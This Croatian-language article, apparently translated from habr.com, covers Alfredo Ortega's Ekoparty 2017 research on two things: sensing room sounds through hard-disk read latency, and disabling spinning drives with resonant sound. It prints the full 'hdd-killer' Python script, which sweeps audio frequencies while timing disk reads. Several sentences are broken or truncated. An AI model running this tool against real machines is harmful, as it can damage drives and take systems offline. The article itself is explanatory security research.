
Na konferenciji o računalnoj sigurnosti Ekoparty 2017. u Buenos Airesu argentinski haker Alfredo Ortega pokazao je vrlo zanimljiv razvoj - sustav za tajno prisluškivanje prostorija bez korištenja mikrofona. Zvuk !
HDD uglavnom hvata niskofrekventne zvukove visokog intenziteta, korake i druge vibracije. Ljudski govor još se ne može prepoznati, iako znanstvenici (prepoznavanje govora niskofrekventnim vibracijama, koje se snimaju npr. iz žiroskopa ili HDD-a).
Zvuk je titranje zraka ili drugog medija. Osoba ih percipira kroz bubnjić, koji prenosi vibracije u unutarnje uho. Mikrofon je dizajniran otprilike kao uho - i ovdje se vibracije bilježe tankom membranom koja pobuđuje električni impuls. Tvrdi disk je, naravno, također podložan mikroskopskim vibracijama zbog fluktuacija u okolnom zraku. To je poznato čak i iz tehničkih karakteristika HDD-ova: proizvođači obično označavaju maksimalnu dopuštenu razinu vibracija, a sam tvrdi disk često pokušava staviti u spremnik otporan na vibracije od gume ili drugog izolacijskog materijala. Iz ovoga je lako zaključiti da se zvukovi mogu snimati pomoću HDD-a. Ostaje samo otkriti kako.
Alfredo Ortega predložio je jedinstvenu verziju bočnog napada, naime vremenski napad. Ovaj napad temelji se na pretpostavci da se različite operacije izvode na uređaju u različito vrijeme, ovisno o danim ulaznim podacima. U ovom slučaju, “ulazni podaci” su vibracije glave za čitanje i HDD ploče, koje koreliraju s vibracijama okoline, odnosno zvukom. Stoga se mjerenjem vremena izračuna i provođenjem statističke analize podataka mogu izmjeriti vibracije glave/ploče, a time i vibracije medija. Što je odgoda u očitavanju podataka duža, to su vibracije HDD-a jače, a time i zvuk glasniji.
Kako izmjeriti vibracije tvrdog diska? Vrlo jednostavno: samo pokrenite sistemski poziv read () — i zabilježite vrijeme potrebno za dovršetak. Moderni operativni sustavi omogućuju vam očitavanje vremena sistemskih poziva s točnošću do nanosekunde.
Brzina čitanja informacija iz sektora ovisi o položaju glave i ploče, što je u korelaciji s vibracijama kućišta HDD-a. To je sve.
Statistička analiza se provodi pomoću jednostavnog uslužnog programa Kscope. Kako kažu, sve genijalno je jednostavno.

Kscope uslužni program (stat() syscall)
Kscope je mali uslužni program za vizualizaciju sitnih razlika u vremenu izvršavanja sistemskih poziva. Izvor.
U posebnom spremištu postoji verzija uslužnog programa konfigurirana za vremenski napad na tvrdi disk, odnosno konfigurirana za analizu poziva sustava read ().
Demonstracija snimanja zvuka pomoću HDD-a, rad uslužnog programa Kscope

Naravno, govor se ne može razumjeti na ovaj način, ali HDD je sasvim prikladan kao senzor vibracija. Na primjer, možete registrirati ako je osoba u tvrdim cipelama ili bosa ušla u prostoriju s računalom (vjerojatno, ako napadač nosi mekane tenisice ili je na podu debeli tepih, HDD neće moći registrirati vibracije - ovo vrijedi provjeriti). Računalo može registrirati razbijeno staklo ili druge incidente s jakim intenzitetom zvuka. Odnosno, tvrdi disk može poslužiti kao neka vrsta sustava za otkrivanje neovlaštenog upada.
HDD ubojica
Usput, slična tehnika može se koristiti za onemogućavanje tvrdih diskova. Međutim, ovdje ne hvatamo vibracije s tvrdog diska, već generiramo vibracije koje se prenose na tvrdi disk. Ako reproducirate zvuk iz zvučnika na frekvenciji koja rezonira s frekvencijom tvrdog diska, sustav će uskoro isključiti uređaj s I/O pogreškom (jezgra). Linux (Ovo potpuno isključuje tvrdi disk nakon 120 sekundi.) Sam tvrdi disk može biti nepovratno oštećen.

Jezgra Linux Tvrdi disk se ugasio nakon 120 sekundi reprodukcije zvuka na rezonantnoj frekvenciji kroz USB zvučnik Edifier r19u. Zvučnik je bio uključen na otprilike četvrtinu svoje snage (manje od 100 mW) i postavljen 20 cm od tvrdog diska, usmjeren prema stolu kako bi pojačao vibracije. Fotografija iz uz demonstraciju HDD ubojice
Zanimljivo je da se takvi "napadi" na HDD-ove ponekad događaju potpuno slučajno u svakodnevnom životu. Na primjer, u rujnu 2016. podatkovni centar ING banke bio je prisiljen obustaviti rad na 10 sati nakon protupožarne vježbe. zbog glasnog zvuka inertnog plina koji se ispušta iz cilindara pod visokim pritiskom. Zvuk je bio vrlo glasan (više od 130 dB), ali ne možete čak ni vikati na tvrde diskove - to povećava kašnjenje u pristupu HDD-u.
Demonstracija ljudskog vrištanja na tvrdim diskovima u podatkovnom centru. Mjerenje latencije

Kako bi proizveo rezonantni zvuk, Alfredo Ortega napisao je Python skriptu pod nazivom ().
Prilično je malen, pa ga u cijelosti možete objaviti ovdje.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Izvor: www.habr.com
